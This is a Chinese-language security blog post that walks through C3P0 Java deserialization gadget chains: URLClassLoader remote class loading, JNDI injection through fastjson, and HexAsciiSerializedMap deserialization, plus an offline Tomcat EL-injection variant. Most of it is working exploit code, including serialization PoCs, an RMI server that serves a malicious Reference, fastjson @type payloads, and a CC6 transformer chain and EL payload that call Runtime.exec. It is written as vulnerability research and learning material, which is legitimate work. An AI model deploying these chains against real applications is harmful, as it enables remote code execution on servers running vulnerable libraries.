C3P0 链

C3P0 链

介绍

C3P0 是一个开源的 JDBC 连接池库,它提供了数据库连接的池化服务,帮助管理和优化数据库连接的开销,以提高应用程序的性能和可靠性。它的主要特性包括自动处理连接的分配和回收、自动重连、提供有关连接超时的配置、与任何遵循 JDBC 规范的数据库无缝工作,以及支持定时测试数据库连接的有效性。这些特性使得 C3P0 可以广泛应用于需要高性能数据库操作的企业应用程序中。

环境

jdk8u65

pom.xml 如下

1
2
3
4
5
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>

Gadget

C3P0常见的利用方式有如下三种

  • URLClassLoader远程类加载
  • JNDI注入
  • 利用HEX序列化字节加载器进行反序列化攻击

URLClassLoader

利用链

1
2
3
PoolBackedDataSourceBase#readObject ->
ReferenceSerialized#getObject ->
ReferenceableUtils#referenceToObject

分析

image-20240711175536736

可以看到用URLClassLoader类加载器加载了远程类,远程服务器地址和类名来自传入的Reference类参数,于是我们可以先尝试构造一个Reference作为参数调用referenceToObject函数。执行下面demo,发现可以执行我们远程服务器上的恶意类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.mchange.v2.naming.ReferenceableUtils;
import javax.naming.Reference;
import java.lang.reflect.Constructor;

public class Demo1 {
public static void main(String[] args) throws Exception{
Class aClass = Class.forName("com.mchange.v2.naming.ReferenceableUtils");
Constructor declaredConstructor = aClass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
ReferenceableUtils referenceableUtils= (ReferenceableUtils) declaredConstructor.newInstance();
Reference reference = new Reference(null, "evilexp", "http://127.0.0.1:9999/");
referenceableUtils.referenceToObject(reference,null,null,null);
}
}

接着我们往上找调用referenceToObject函数的地方,在ReferenceIndirector的内部类ReferenceSerialized#getObject这个方法找到。

image-20240711184457243

再写一个测试demo,ReferenceSerialized实现了IndirectlySerialized接口,IndirectlySerialized又继承了Serializable,所以是可以序列化的。一个比较简单的demo,调用了ReferenceSerialized$ReferenceSerialized#getObject,参数中的reference来自我们构造ReferenceSerialized时的参数。运行demo,成功执行我们的远程恶意类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import javax.naming.Name;
import javax.naming.Reference;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Hashtable;

public class Demo2 {
public static void main(String[] args) throws Exception{
Class aClass = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized");

Constructor declaredConstructor = aClass.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
declaredConstructor.setAccessible(true);

Reference reference = new Reference(null, "evilexp", "http://127.0.0.1:9999/");

Object referenceSerialized = declaredConstructor.newInstance(reference, null, null, null);

Method getObject = referenceSerialized.getClass().getDeclaredMethod("getObject");
getObject.setAccessible(true);
getObject.invoke(referenceSerialized);
}
}

接着从入口类PoolBackedDataSourceBase#readObject方法入手。其实PoolBackedDataSourceBase类的序列化和反序列化与一般类有所不同。以下是p牛的一段话。

Java序列化的时候,和readObject对应的函数是writeObject。这两个函数中,我们通常会发现其中调用了out.defaultWriteObject()、out.defaultReadObject(),这两个函数的作用是什么? 正常情况下,如果开发者没有重写writeObject方法,则序列化时Java会将这个对象非静态、非transient的属性全部写到TC_OBJECT的classdata数组中。 out.defaultWriteObject()就是在执行这个默认的写入操作。所以,如果开发者重写了writeObject方法,但又没有在方法中调用out.defaultWriteObject(),那么等于就没有向序列化流中写入默认的属性。 这种情况比较特殊,一般就需要开发者自己对类的所有属性进行写入和重建。这种情况虽然少见,但也不是完全没有,比如说ysoserial的C3P0这条利用链中的com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase类,其writeObject中就没有调用defaultWriteObject。

那么PoolBackedDataSourceBase没有用默认的defaultWriteObject/defaultReadObject是如何序列化和反序列化的呢。该类的readObject和writeObject不难看出,他是对每一个属性单独进行序列化,然后写入序列化流。反序列化的时候,就从序列化流从一个个反序列化出那些属性。

而我们需要调用的getObject方法,是在反序列化出第一个变量的时候,调用的这个变量的getObject方法。那我们可以关注序列化过程中,第一个变量了。

不难看出是connectionPoolDataSource这个变量,但是这个变量是ConnectionPoolDataSource属性,并没有继承Serializable接口,所以反序列化失败,但是我们会对他使用ReferenceIndirector#indirectForm函数。

image-20240712014037645

我们可以看到这个函数是返回了ReferenceSerialized属性的变量,而ReferenceSerialized我们前面提到过是可以序列化的,而且反序列化后的到的ReferenceSerialized类,调用其getObject方法正好可以走通我们的链。

那我们就可以关注返回的ReferenceSerialized类里的参数控制,显然ref使我们想控制的,它来自connectionPoolDataSource的getReference函数。此时我们的思路捋顺了,EXP就很简单了。

image-20240712014409047

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.util.logging.Logger;

public class Demo3 {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class aClass = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");

Field connectionPoolDataSource = aClass.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSource.setAccessible(true);
connectionPoolDataSource.set(poolBackedDataSourceBase,new evilClass());

serialize(poolBackedDataSourceBase);
unserialize("ser.bin");
}

public static class evilClass implements ConnectionPoolDataSource ,Referenceable {

public Reference getReference(){
return new Reference(null, "evilexp", "http://127.0.0.1:9999/");
}

public PooledConnection getPooledConnection(){return null;}
public PooledConnection getPooledConnection(String user, String password){return null;}
public PrintWriter getLogWriter() {return null;}
public void setLogWriter(PrintWriter out) {}
public void setLoginTimeout(int seconds) {}
public int getLoginTimeout() {return 0;}
public Logger getParentLogger() {return null;}
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object=objectInputStream.readObject();
return object;
}
}

构造PoolBackedDataSourceBase对象,将其connectionPoolDataSource属性设置为一个恶意类,该类首先不能被序列化,然后要继承ConnectionPoolDataSource接口,因为其变量属性为这个接口,其次它要继承Referenceable,因为我们在ReferenceIndirector#indirectForm里面会强制类转换为Referenceable属性。

JNDI

利用链

1
2
3
4
5
6
7
8
9
10
11
#修改jndiName
JndiRefConnectionPoolDataSource#setJndiName ->
JndiRefForwardingDataSource#setJndiName

#JNDI调用
JndiRefConnectionPoolDataSource#setLoginTime ->
WrapperConnectionPoolDataSource#setLoginTime ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup

分析

之前URLClassLoader中有一个类有lookup方法,这是容易导致jndi注入的方法,这里contextName是一个Name属性的变量,无法控制,我们需要一个String类型的变量做lookup的参数,右键lookup,点击查找用法,我们可以看其他的lookup方法。可以看到我们找到一个ctx.lookup方法,这是学习jndi注入经常看到的。

image-20240712034749464

可以看到jndiName来自getJndiName函数,只要jndiName不是Name类型,就会返回String类型的jndiName。

image-20240712035144761

image-20240712035156974

但是这里getJndiName函数,该类是没有的,所以调用的是父类的getJndiName函数。所以我尝试反射调用这个类测试jndi注入失败。我们需要找到一个类,即调用到JndiRefForwardingDataSource对象(我们假设这个对象为A)的dereference函数,又调用了这个对象A的getJndiName函数,这样才能控制dereference中的jndiName变量,我们可以往上跟JNDI的链,同时关注JndiName

找到了JndiRefConnectionPoolDataSource类,

1
2
3
4
public void setJndiName( Object jndiName ) throws PropertyVetoException
{
jrfds.setJndiName( jndiName );
}
1
2
3
4
5
6
public void setLoginTimeout(int seconds) throws SQLException
{
wcpds.setLoginTimeout( seconds );
}

//这里可以跟到dereference函数

我们调用了 jrfds的setJndiName,那我们最后也想从setLoginTimeout走到jrfds的dereference。

JndiRefConnectionPoolDataSource.java

1
2
3
4
5
6
7
8
9
10
11
12
public JndiRefConnectionPoolDataSource( boolean autoregister )
{
jrfds = new JndiRefForwardingDataSource();
wcpds = new WrapperConnectionPoolDataSource();
wcpds.setNestedDataSource( jrfds );

if (autoregister)
{
this.identityToken = C3P0ImplUtils.allocateIdentityToken( this );
C3P0Registry.reregister( this );
}
}

WrapperConnectionPoolDataSourceBase.java

1
2
3
4
5
6
7
public synchronized void setNestedDataSource( DataSource nestedDataSource )
{
DataSource oldVal = this.nestedDataSource;
this.nestedDataSource = nestedDataSource;
if ( ! eqOrBothNull( oldVal, nestedDataSource ) )
pcs.firePropertyChange( "nestedDataSource", oldVal, nestedDataSource );
}
1
2
3
4
public int setLoginTimeout()throws SQLException
{
return getNestedDataSource().setLoginTimeout();
}

仔细分析一下上面的关系,我们在JndiRefConnectionPoolDataSource.java中将wcpds的nestedDataSource设置为jrfds。然后setLoginTimeout函数调用了wcpds的setLoginTimeout,在wcpds类中这个函数调用了nestedDataSource的setLoginTimeout,也就是jrfds的setLoginTimeout,从然调用了jrfds的dereference函数。

有点绕,但是耐心分析一下还是很容易分析清楚的,所以我们可以从JndiRefConnectionPoolDataSource类中,即调用jrfds的dereference函数,又调用jrfds的setJndiName函数。测试demo如下。

1
2
3
4
5
6
7
8
9
import com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource;

public class JndiRefConnectionPoolDataSourceTest {
public static void main(String[] args) throws Exception {
JndiRefConnectionPoolDataSource jndiRefConnectionPoolDataSource = new JndiRefConnectionPoolDataSource();
jndiRefConnectionPoolDataSource.setJndiName("rmi://127.0.0.1:12312/evilexp");
jndiRefConnectionPoolDataSource.setLoginTimeout(1);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {


void register() throws Exception{
LocateRegistry.createRegistry(12312);
Reference reference = new Reference("evilexp","evilexp","http://127.0.0.1:9999/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
Naming.bind("rmi://127.0.0.1:12312/evilexp",refObjWrapper);
}

public static void main(String[] args) throws Exception {
new RMIServer().register();
}
}

要调用setJndiName和setLoginTimeout方法,显然可以在fastjson中利用。

1
2
3
4
5
<dependency>  
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

EXP

1
2
3
4
5
6
public class JndiRefConnectionPoolDataSourceEXP {  
public static void main(String[] args) {
String payload = "{\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," + "\"jndiName\":\"rmi://127.0.0.1:12312/evilexp\",\"LoginTimeout\":\"1\"}";
JSON.parse(payload);
}
}
1
2
3
4
{
"@type":"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource", "jndiName":"rmi://127.0.0.1:12312/evilexp",
"LoginTimeout":"1"
}

hexbase

利用链

该利用链能够反序列化一串十六进制字符串,因此实际利用需要有存在反序列化漏洞的组件。

1
2
3
4
5
6
7
8
9
10
#设置userOverridesAsString属性值
WrapperConnectionPoolDataSource#setuserOverridesAsString ->
WrapperConnectionPoolDataSourceBase#setUserOverridesAsString

#初始化类时反序列化十六进制字节流
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource ->
C3P0ImplUtils#parseUserOverridesAsString ->
SerializableUtils#fromByteArray ->
SerializableUtils#deserializeFromByteArray ->
ObjectInputStream#readObject

分析

这一条链自己没有特别的理解,就正向分析吧。userOverrides的赋值是调用了C3P0ImplUtils#parseUserOverridesAsString方法,大概意思是解析UserOverrides成字符串,也是可能出现反序列化漏洞的地方。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public WrapperConnectionPoolDataSource(boolean autoregister)
{
super( autoregister );

setUpPropertyListeners();

//set up initial value of userOverrides
try
{ this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( this.getUserOverridesAsString() ); }
catch (Exception e)
{
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + this.getUserOverridesAsString(), e );
}
}

从输入字符串中提取特定部分,得到十六进制字符串hexAscii,然后使用ByteUtils.fromHexAscii方法将十六进制字符串hexAscii转换为字节数组serBytes,最后使用SerializableUtils.fromByteArray方法将字节数组serBytes反序列化为一个Map对象,然后使用Collections.unmodifiableMap将此Map转换为不可修改的Map并返回。

该函数目的是将一个特定格式的字符串(包含序列化对象的十六进制表示)解析成一个Java Map对象。可以看到SerializableUtils.fromByteArray( serBytes ) ,有敏感的序列化字样。

1
2
3
4
5
6
7
8
9
10
11
public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException
{
if (userOverridesAsString != null)
{
String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
}
else
return Collections.EMPTY_MAP;
}

出现了deserializeFromByteArray( bytes ),根据函数名看出是从bytes这个字节数组反序列化,所以这个函数会接着调用反序列化方法readObject。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static Object fromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
Object out = deserializeFromByteArray( bytes );
if (out instanceof IndirectlySerialized)
return ((IndirectlySerialized) out).getObject();
else
return out;
}

-------------------------------------------------------------------------------

public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
return in.readObject();
}

我们需要控制的参数来自WrapperConnectionPoolDataSource.getUserOverridesAsString() ,由于该类没有这个方法,会调用父类WrapperConnectionPoolDataSourceBasegetUserOverridesAsString

1
2
3
4
public synchronized String getUserOverridesAsString()
{
return userOverridesAsString;
}

而userOverridesAsString来自setUserOverridesAsString函数的设置。

1
2
3
4
5
6
7
public synchronized void setUserOverridesAsString( String userOverridesAsString ) throws PropertyVetoException
{
String oldVal = this.userOverridesAsString;
if ( ! eqOrBothNull( oldVal, userOverridesAsString ) )
vcs.fireVetoableChange( "userOverridesAsString", oldVal, userOverridesAsString );
this.userOverridesAsString = userOverridesAsString;
}

所以我们需要设置的是userOverridesAsString为一个反序列化payload的字节数组的16进制编码。当然前面加个HexAsciiSerializedMap,因为我们中途会截取掉这个字符串长度+1的内容。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.beans.PropertyVetoException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class HexBaseFastjsonEXP {

//CC6的利用链
public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove("key");

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

return expMap;
}

// 将对象序列化为字节数组
public static byte[] toByteArray(Object o) throws IOException {
// 创建一个 ByteArrayOutputStream 对象,用于存储序列化后的字节数据
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// 创建一个 ObjectOutputStream 对象,用于将对象序列化为字节流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
// 将对象写入 ObjectOutputStream,实现序列化
objectOutputStream.writeObject(o);
// 返回序列化后的字节数组
return byteArrayOutputStream.toByteArray();
}

// 将字节数组转换为十六进制字符串
public static String bytesToHex(byte[] bytes) {
// 创建一个 StringBuilder 对象,用于存储十六进制字符串
StringBuilder hexString = new StringBuilder();
// 遍历字节数组中的每一个字节
for (byte b : bytes) {
// 将字节转换为十六进制字符串
String hex = Integer.toHexString(0xFF & b);
// 如果十六进制字符串的长度为1,则在前面补0
if (hex.length() == 1) {
hexString.append('0');
}
// 将十六进制字符串追加到 StringBuilder 对象中
hexString.append(hex);
}
// 返回大写的十六进制字符串
return hexString.toString().toUpperCase();
}

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
String hex = bytesToHex(toByteArray(CC6()));
System.out.println(hex);

//Fastjson<1.2.47
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}" +
"}";
//低版本Fastjson
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
"}";

JSON.parse(payload);

}
}

坑点

我们应该是先执行了WrapperConnectionPoolDataSource类的初始化函数,然后在构造函数中执行了反序列化操作,此时的userOverridesAsString属性是空的,还没有用setter函数为其赋值,那为什么最后我们可以触发指令呢?其实在初始化之后进入setUserOverridesAsString函数。我们会把构造的userOverridesAsString与之前的userOverridesAsString也就是null作比较,不同会进入 vcs.fireVetoableChange函数

1
2
3
4
5
6
7
public synchronized void setUserOverridesAsString( String userOverridesAsString ) throws PropertyVetoException
{
String oldVal = this.userOverridesAsString;
if ( ! eqOrBothNull( oldVal, userOverridesAsString ) )
vcs.fireVetoableChange( "userOverridesAsString", oldVal, userOverridesAsString );
this.userOverridesAsString = userOverridesAsString;
}

最后来到WrapperConnectionPoolDataSource的vetoableChange函数,这里的propName的值为字符串“userOverridesAsString”,val的值是我们构造的userOverridesAsString的值。可以看到,当我们propName与字符串“userOverridesAsString”相等的时候,会调用C3P0ImplUtils.parseUserOverridesAsString( (String) val ),此时我们就会用我们构造的userOverridesAsString去反序列化了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public void vetoableChange( PropertyChangeEvent evt ) throws PropertyVetoException
{
String propName = evt.getPropertyName();
Object val = evt.getNewValue();

if ( "connectionTesterClassName".equals( propName ) )
{
try
{ recreateConnectionTester( (String) val ); }
catch ( Exception e )
{
//e.printStackTrace();
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to create ConnectionTester of class " + val, e );

throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
}
}
else if ("userOverridesAsString".equals( propName ))
{
try
{ WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString( (String) val ); }
catch (Exception e)
{
if ( logger.isLoggable( MLevel.WARNING ) )
logger.log( MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, e );

throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
}
}
}

不出网利用

在学习jndi高版本绕过的时候,会用到加载本地的Factory类进行攻击这种攻击方式。如通过加载Tomcat8中的org.apache.naming.factory.BeanFactory进行EL表达式注入,但是需要getObjectInstance方法。而在我们URLClassLoader链中,出现了这个方法。

image-20240714181027251

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;

import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.util.logging.Logger;

public class C3P0_Tomcat_EL {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class aClass = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");

Field connectionPoolDataSource = aClass.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSource.setAccessible(true);
connectionPoolDataSource.set(poolBackedDataSourceBase,new evilClass());

serialize(poolBackedDataSourceBase);
unserialize("ser.bin");
}

public static class evilClass implements ConnectionPoolDataSource ,Referenceable {

public Reference getReference(){
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","", true,"org.apache.naming.factory.BeanFactory",null );
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('calc')" ));
return resourceRef;
}

public PooledConnection getPooledConnection(){return null;}
public PooledConnection getPooledConnection(String user, String password){return null;}
public PrintWriter getLogWriter() {return null;}
public void setLogWriter(PrintWriter out) {}
public void setLoginTimeout(int seconds) {}
public int getLoginTimeout() {return 0;}
public Logger getParentLogger() {return null;}
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object=objectInputStream.readObject();
return object;
}
}

C3P0 链
http://example.com/2024/07/11/C3P0 链/
作者
cmisl
发布于
2024年7月11日
许可协议